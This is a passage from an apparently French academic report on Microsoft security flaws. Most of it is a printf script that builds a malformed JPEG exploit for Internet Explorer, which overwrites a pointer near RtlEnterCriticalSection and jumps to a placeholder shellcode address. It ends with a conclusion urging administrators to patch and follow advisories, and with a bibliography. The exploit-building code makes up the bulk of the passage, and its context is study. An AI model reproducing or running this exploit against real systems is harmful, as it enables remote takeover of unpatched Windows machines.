"\x1C\xF0\xFD\x7F" # 1) Opening directly in IE #Address of shellcode printf "\x41\x41\x41\x41" #Other stuff printf "\x96\x02\x00\x00\x1A\x00\x00\x00" # 2) MouseOver in IE #Address to overwrite = RtlEnterCriticalSelection() - 4 #Check page 172 of SC Handbook for those of you playing along at home printf "\x1C\xF0\xFD\x7F"; # 2) MouseOver in IE #Address of shellcode printf "\x41\x41\x41\x41" #Comments here perl -e 'print "A"x1000'; #Image junk here printf "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"; printf "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14"; printf "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C"; printf "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C"; printf "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D"; printf "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"; 41 printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"; printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"; printf "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22"; printf "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01"; printf "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05"; printf "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02"; printf "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05"; printf "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08"; printf "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17"; printf "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43"; printf "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"; printf "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85"; printf "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4"; printf "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3"; printf "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1"; printf "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8"; printf "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01"; printf "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A"; printf "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04"; printf "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41"; printf "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23"; printf "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19"; printf "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47"; printf "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68"; printf "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88"; printf "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"; printf "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6"; printf "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5"; printf "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00"; printf "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F"; printf "\xFF\xD9"; 6. CONCLUSION Cette étude montre à quel point les vulnérabilités, présentent dans les produits Microsoft en particulier, peuvent être exploiter pour prendre la main à distance par exemple. Aussi, et en particulier pour les administrateurs réseaux, nous rappellerons combien il est important de se tenir informé des nouvelles failles de sécurité découvertes. Pour ce faire le mieux est encore de s’abonner aux newsletters de Microsoft sur : http://www.microsoft.com/france/technet/presentation/flash/default.mspx Ou encore de s’informer des derniers exploits « à la mode » sur : http://www.k-otik.com/ Et donc, il est très important de tenir ses systèmes à jour, sans quoi, ils pourraient se retrouver infectés. 42 Ce rapport nous a permis de nous apercevoir que si, à part quelques failles facilement exploitable, l’utilisation de ces failles reste quand même le fait de personnes mal intentionnées et également très douées pour la programmation. Ceci sans parler de ceux qui trouvent les failles. En définitif, cette étude confirme qu’une politique de sécurité informatique est indispensable dans les entreprises d’aujourd’hui. 7. BIBLIOGRAPHIE http://www.microsoft.com/france/securite/bulletins_securite/default.asp http://www.commentcamarche.com/ http://www.k-otik.com/ http://perso.wanadoo.fr/doc.jm/RpcDcom.htm 43